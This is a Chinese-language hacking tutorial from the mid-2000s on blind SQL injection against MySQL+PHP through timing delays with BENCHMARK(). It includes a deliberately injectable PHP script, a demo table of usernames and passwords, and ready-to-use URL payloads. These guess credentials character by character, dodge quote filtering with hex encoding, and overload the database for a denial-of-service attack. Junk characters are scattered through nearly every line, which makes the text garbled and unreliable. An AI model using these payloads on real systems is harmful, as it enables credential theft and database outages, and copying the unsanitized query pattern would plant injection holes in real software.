MYSQL中BENCHMARK函数的利用
/ Y. W }6 I3 `$ b, r本文作者:SuperHei5 [7 k! y/ a$ k0 A$ C
文章性质:原创
$ F- g C+ p' F' A3 O% Z1 y发布日期:2005-01-02% O, U6 [2 l) Q9 C$ @# j, r% Y' o4 P5 |5 F
完成日期:2004-07-09 ' H% T1 v" c9 ~$ `8 [! L
第一部9 ?& u- ?! A% q; z! D8 w
- ]6 m) T! p2 w( m$ W利用时间推延进行注射---BENCHMARK函数在注射中的利用 % N& S, H# Q! v; k* `
9 k3 r {& _$ ]$ V! I" F/ `, v. y
一.前言/思路$ X! `: l. i) `5 k+ q7 \. S
' X1 F/ ~0 U4 |4 p6 h
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。" `( S4 J q# f9 I& t
& F! w0 z+ p# l1 C
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
' z( t- |. [5 X7 p# g5 n8 p" m9 K. k U+ {
二.关于BENCHMARK函数# H+ ^' c) F3 E
* o L! |" S1 [# I 在MySQL参考手册里可以看到如下描叙:
& P* W K3 V0 F7 @7 v
/ L; L/ ?* q0 ]" N( S5 U5 J+ v$ \4 z" T0 q
--------------------------------------------------------------------------------
, ]( F/ d& W, k4 `8 e, y* M1 j; I6 N& j, y
BENCHMARK(count,expr) 4 Q1 [! J3 h& d u% T
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 2 `0 b _% U9 d$ Y0 } f+ V+ W
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
4 `/ @! s- l: [+----------------------------------------------+
3 j( w8 @' z6 Z/ ^| BENCHMARK(1000000,encode("hello","goodbye")) | 9 ~" T% p* y, [7 O% F. K1 E: @
+----------------------------------------------+ $ M! ?! b' S. P
| 0 | 1 g! I$ k, t5 Q$ r
+----------------------------------------------+
- } P' h/ E, k! `" _1 row in set (4.74 sec) 8 y8 G' g |% g1 p. [3 F
3 e" g0 E( E0 K3 x% O9 n) j; O) A报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。6 g& z: N a, i& ~- g- ]/ b0 M
+ c8 q b2 k0 G4 }& Q# E
& S2 m3 L) g6 r$ q5 B
--------------------------------------------------------------------------------
* H$ w9 w% W+ N9 _& W' ?8 M
5 V0 T2 X) }- T; P1 T6 d" [ 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: ( a7 K4 b$ H- ]: u' ?2 X
: N& h1 p. E& [. p/ x# v
mysql> select md5( 'test' ); " t9 L" _! f9 _1 d
+----------------------------------+ + c# B& m. M, {' }( Z& N% Z
| md5( 'test' ) |
" K+ d. b. B2 ^; @0 l i+----------------------------------+ * w& X/ x$ |0 Z9 w- Q) n
| 098f6bcd4621d373cade4e832627b4f6 |
3 E. v( h9 D7 S: A9 T+----------------------------------+
! [1 |0 Q' ~) d# ~$ s* x% Y2 [1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec ; V# ?. G1 B) k
: y6 N( V `: H
mysql> select benchmark( 500000, md5( 'test' ) ); : S G1 _# a, E% X! n. q! N
+------------------------------------+ - i6 x; A3 u5 x! E
| benchmark( 500000, md5( 'test' ) ) |
* g# ]6 Q- @+ L0 Y& Q1 k. S8 t+------------------------------------+ - G% O2 {8 y; S4 t9 Q2 ~
| 0 | ' b# r7 v, e2 ~% O, |+ n/ d
+------------------------------------+
( O1 C7 R( g/ S: Q' w1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
7 M6 G4 Z( m- D! S' K: M * O% R2 j( k) q( T4 { T& C9 O" j1 z
" }3 C0 b( w5 o& }* W# m- e; G$ ~ 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 2 A8 Y% }- J, f- b( `1 A! y
/ {& q4 H9 ~2 B三.具体例子) {+ t7 {, b. P/ L" L: M8 U. @
3 y8 ~3 l4 z: ^7 @
首先我们看个简单的php代码:
/ a9 w$ e0 I! g7 ~; B! K9 R/ ]3 M/ s6 j6 ~- k+ w- b, \7 u& l
< ?php
9 u# N! s5 |# @' G& U$servername = "localhost";
& y- g, S2 I2 P6 H9 [$dbusername = "root"; ) o9 h; ^& M% q6 ~& F
$dbpassword = ""; # b; w0 X# }( S% h
$dbname = "injection"; 2 @3 J% y$ c3 J% g, _% G1 F o: y, P
9 Q9 @# Z$ c& D0 _mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 9 O; d7 \; z$ z# e# z6 q0 @
+ f: l+ b* h: z" i
$sql = "SELECT * FROM article WHERE articleid=$id";
# p# z# C" m' X4 l! t' V$result = mysql_db_query($dbname,$sql);
9 D+ X) }: l9 \' \2 O9 d$row = mysql_fetch_array($result); O7 X0 V) ^ b3 @4 t6 D. a
# m, U* Y0 \( Y( K
if (!$row)
% \, @7 {1 h9 K5 f{ 9 M9 o d' n4 k; L/ t$ \9 h. D- A
exit; ! Q6 {2 A+ Y, F( [2 q8 ]4 t8 [
}
5 D, c, |# J- S+ |( Q?>
\' L% e) `+ C, Z! `. t
- r8 i! u& Q7 Z% z' o$ P! U$ @5 l- [% c2 V/ k9 ^ B+ c
数据库injection结构和内容如下:
% J# m) C+ y0 R. r. a3 W# q+ q+ |9 i, k# D
# 数据库 : `injection` ; v* ^8 J& ~4 V3 f& r; `
#
, t2 b' X' W2 L# T# s3 ~# ?/ O- h" `' g& J% d! n7 E* k7 q
# -------------------------------------------------------- . D h5 q! c* u x
6 J( S) E# e ^% ]: D8 X
#
$ {. I/ ?+ r7 |6 N# 表的结构 `article`
! y* A' h7 A. P, a' f. q# # o0 M3 w! q# |) x# ^' o' H
! b$ G3 Q3 d3 T- z3 z+ ?0 WCREATE TABLE `article` ( # y/ A$ Q! i9 r+ o% e/ q) E2 k
`articleid` int(11) NOT NULL auto_increment, 7 i. u# i3 g/ N' F" `! h
`title` varchar(100) NOT NULL default '', - o. N3 N, z% p' G9 g X
`content` text NOT NULL,
% c, @1 X M0 d, N% ^8 r# n7 o' y/ I* qPRIMARY KEY (`articleid`) - |3 r" h9 t1 d. z1 G
) TYPE=MyISAM AUTO_INCREMENT=3 ; 3 Z; t5 X. r+ ?8 l9 y$ U4 ?* q- U
$ B% p/ U8 X+ W# 3 W0 @1 A+ w1 Q* b6 F) i
# 导出表中的数据 `article`
. h: w# r- T6 ~) ^. Q* f) j#
5 J, Z# c8 c3 d( N9 r3 c& W8 H; X' Y% }1 @! j$ a
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); & j0 o/ h3 t9 S; U$ @6 B& y8 H9 \0 }
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
/ I/ }2 ^# `; k8 i6 h8 U4 P( z v1 I+ B% c9 D
# --------------------------------------------------------
! ?0 o4 V. O' ]% e0 l
* B* E: b% N2 c% @3 b0 q#
9 u- h4 x+ Z. S# 表的结构 `user` 0 P7 S0 L, N. g; q3 d6 i* c4 q
#
4 \# C# c9 Q+ X" D9 D* x4 J- [* @# R- h, y D9 V4 X5 Q5 X2 N
CREATE TABLE `user` ( ) Q7 d- x7 |% g# S
`userid` int(11) NOT NULL auto_increment,
; e% L- c6 Z. ?6 {9 b) v`username` varchar(20) NOT NULL default '', . u4 Y( |! A1 s: K4 u
`password` varchar(20) NOT NULL default '',
, E# x7 p" a2 I# w$ w% x. f# vPRIMARY KEY (`userid`)
! z; o [" b3 P% S) TYPE=MyISAM AUTO_INCREMENT=3 ; : s: M2 Q; h& \
- R5 H5 `% _& J$ Y/ |. P% V* M
# $ q' W- n6 t5 c, K6 H2 j
# 导出表中的数据 `user` : I! ^3 T3 U$ e4 c& u
#
2 q) P% y( \0 F" n6 d( \+ e' N- A' @6 d
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); 6 g. L5 m4 E' {6 \4 d7 N
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
* d& a( Q2 e9 V. D9 O
! g' ?' S3 U6 ?( e6 X
7 g0 |6 f8 o( X) K* }9 U/ @! w 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
) ^$ Z9 P+ D5 p6 X( O! x. r. P- A& [4 B
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
: ]$ B1 U3 d/ |0 j% R, ?2 K
0 a2 p* W G; _: |6 F" N
& a. j! g- f& g _( w" l6 m 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
* F& |) _8 m# T) {* T: Y9 u+ z
# m8 m% y/ D" h9 {/ {http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*1 B: T, m% e0 U8 p! K# F9 f: @( W
3 w+ z0 w W$ a X1 Y
$ l( G9 G8 c/ F" \, Z3 w$ d 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
" E" ~4 N" `: v# j/ ]
% T' }; l% Y B1 c K: T9 U 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 ' m; s8 ]) S2 Q5 m& }& d) j
; S7 c# A) @6 W
第二部
/ v4 }" z; I# q' A* ], s+ e) x# ~% O& o3 N! o- I5 @
利用BENCHMARK函数进行ddos攻击 2 Q7 r% Z9 E0 q. l. g& X4 T
! b# T, s% v5 B# q' [2 y) E 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:4 J* w0 M2 W7 l' W4 ^& x
. l* k3 K2 l# i$ r5 W' g% ]http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41)); H5 H$ r- M7 o6 _5 v3 k% J
) E* b) ~2 _) A( ?
. y- d5 q$ I0 e4 c# }小结+ y, l0 T( B; Y8 }1 c
; U0 o( @" A" C3 U' y8 `
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
" V) U: [! _# A
& x' M" }2 A2 M1 ]1 ]/ q4 Q6 f $ t7 f2 J; W! x1 D; M8 P
|